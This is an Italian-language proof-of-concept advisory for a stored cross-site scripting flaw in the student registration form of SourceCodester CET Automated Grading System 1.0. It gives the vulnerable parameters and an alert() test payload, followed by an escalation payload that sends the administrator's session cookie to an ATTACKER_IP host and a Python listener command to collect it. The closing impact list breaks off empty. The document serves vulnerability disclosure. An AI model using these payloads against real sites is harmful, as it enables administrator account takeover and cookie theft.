
Proof-of-concept per XSS persistente in SourceCodester CET Automated Grading System 1.0, che dimostra l'iniezione di payload non autenticata tramite la registrazione degli studenti che porta al dirottamento della sessione dell'amministratore.
| Campo | Valore |
|---|
| Venditore | SourceCodester |
| URL del Venditore | https://www.sourcecodester.com |
| Prodotto | CET Automated Grading System con AI Predictive Analytics in PHP e MySQL |
| URL del Prodotto | https://www.sourcecodester.com/php/18686/cet-automated-grading-system-ai-predictive-analytics-php-and-mysql.html |
| Versione | 1.0 |
| Vulnerabilità | Cross-Site Scripting Memorizzato (XSS) |
| CWE | CWE-79 |
| Punteggio CVSSv3 | 8.8 (Alto) |
| Vettore di Attacco | Rete |
| Autenticazione Richiesta | Nessuna (La registrazione autonoma dello studente è pubblica) |
| Vittima | Amministratore |
| Interazione dell'Utente | Richiesta (L'amministratore visita il pannello) |
| Ricercatore | Imad Alvi |
| Data | 2026-04-13 |
File: PersonalAGS/index.php?action=register (Registrazione Studente)
Parametri: student_id, full_name, section, username (POST)
Attivato su: PersonalAGS/index.php?action=dashboard (Pannello di Amministrazione)
Il portale di registrazione autonoma degli studenti in CET Automated Grading System 1.0 non riesce a sanificare o codificare l'input fornito dall'utente prima di memorizzarlo nel database. Un attaccante non autenticato può registrare un account studente con payload JavaScript iniettati in qualsiasi campo di registrazione. Il payload dannoso viene memorizzato nel database e viene eseguito nel browser di qualsiasi amministratore che visita il pannello in cui sono elencati gli studenti iscritti.
Questa è una catena di attacco critica — non è richiesta alcuna autenticazione per iniettare il payload, ma questo viene eseguito in un contesto amministrativo privilegiato, consentendo il furto dei cookie di sessione e la completa compromissione dell'account amministratore.
Navigare alla pagina pubblica di registrazione autonoma dello studente:
http://localhost/cet-personalagms/PersonalAGS/index.php?action=register
Compilare tutti i campi con payload XSS e fare clic su Registra Account:
"><svg onload=alert(1)>"><svg onload=alert(1)>"><svg onload=alert(1)>"><svg onload=alert(1)>
La registrazione riesce — i payload vengono memorizzati nel database.
Quando l'amministratore accede e visita il pannello, il payload iniettato viene eseguito immediatamente. Il popup di avviso si attiva e il layout della pagina risulta visibilmente compromesso dall'HTML iniettato — confermando che il payload viene renderizzato senza sanificazione nel pannello di amministrazione.
Anche le intestazioni delle sezioni del pannello riflettono i valori iniettati:
1ST YEAR - SECTION 1ST YEAR" ONMOUSEOVE3RD YEAR - SECTION " ONLOAD=ALERT(1) X=
Un attaccante può elevare questo attacco al completo dirottamento della sessione amministrativa utilizzando il seguente payload nei campi di registrazione:
" onmouseover="new Image().src='http://ATTACKER_IP:8888/?c='+document.cookie" x="
Configurare un listener sulla macchina dell'attaccante:
python3 -m http.server 8888
Quando l'amministratore visita il pannello, il cookie di sessione viene inviato al server dell'attaccante, consentendo la completa compromissione dell'account.
Un attaccante non autenticato può:
Non è richiesta alcuna autenticazione per iniettare il payload. L'attacco viene eseguito automaticamente quando qualsiasi amministratore visita il pannello.